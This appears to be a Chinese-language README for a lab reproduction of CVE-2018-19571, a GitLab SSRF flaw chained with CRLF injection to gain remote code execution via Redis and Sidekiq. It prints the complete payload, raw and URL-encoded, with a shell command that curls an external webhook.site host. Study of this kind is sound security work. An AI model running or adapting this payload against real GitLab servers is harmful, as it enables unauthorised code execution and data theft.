本仓库是对 CVE-2018-19571 的复现,并展示当它与 CRLF 注入漏洞结合时,如何导致远程代码执行(RCE)。
GitLab CE/EE,版本 8.18 至 11.x(11.3.11 之前)、11.4(11.4.8 之前)以及 11.5(11.5.1 之前),存在 webhook 的 SSRF 漏洞。
本次复现将使用一个存在漏洞的 GitLab 镜像,并通过 Docker Compose 运行。
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
目标是为 webhook 提供一个 URL,当该 URL 被处理时,能向 Redis 发送一个 payload。
该 payload 将被加入队列,其中包含一个 Sidekiq 任务,任务执行时将运行任意 shell 代码。在我们的例子中,它将把标志(flag)值复制给我们。
我们先逐步操作,然后再解释每一步的作用。
创建一个账户,或使用 root 账户登录。
根密码应为 password,如文件 initial_root_password 中指定,但有时加载不正确。
如果遇到这种情况,需要直接修改 root 账户密码。
docker exec -it gitlab-ssrf_web_1 /bin/bash
# 在 shell 内
gitlab-rails console
# 在控制台内
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
然后,访问 http://localhost:5080 并登录。

导航到创建项目页面。
接下来,前往 http://localhost:5080/projects/new,点击 导入项目 选项卡。你会看到有一个选项:通过 URL 导入仓库。我们将用它来执行 SSRF 攻击。

创建一个 webhook 来接收标志(flag)。
在 https://webhook.site/ 创建一个 webhook URL。
将以下 payload 中的 webhook URL 替换为你自己的:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
最后,我们使用 URL 编码器 对上述内容进行编码。注意,我们只对 payload(包括开头的空白和换行符)进行编码,而不对第一行和最后一行进行编码。同时需要使用 CRLF。另外,如果存在以下字符,请替换为对应的编码:
_ -> %5F. -> %2E- -> %2Dgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
如果上述操作失败,你可能需要启用对内部服务的出站请求。

以 root 身份登录后,可以在 http://localhost:5080/admin/application_settings/network 进行设置。
本次攻击利用了两种漏洞。第一个是 SSRF,内部服务可以通过 IPv6 访问。更多信息请参见 GitLab issue:https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242。
第二个漏洞是 webhook 的 URL 中允许包含换行符。
两者结合,我们便可以将 payload 传递给内部服务。在本例中,我们针对的是本地的 Redis 服务。
我们传递的 payload 在 Redis 队列中入队一个新任务,该任务由 Sidekiq(一个基于 Ruby on Rails 的异步任务执行器)处理。我们专门针对 GitlabShellWorker 任务类,它允许我们执行任意代码。
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
因此,通过传入 open('| curl <URL 地址>').read 并通过 class_eval 执行,我们可以触发远程代码执行。
(或者直接使用上面的 payload,并访问 https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ 查看输出。)

你应该会看到向 webhook 发送了一个 GET 请求(由于 GitLab 反复尝试获取仓库,该请求会重复发送)。
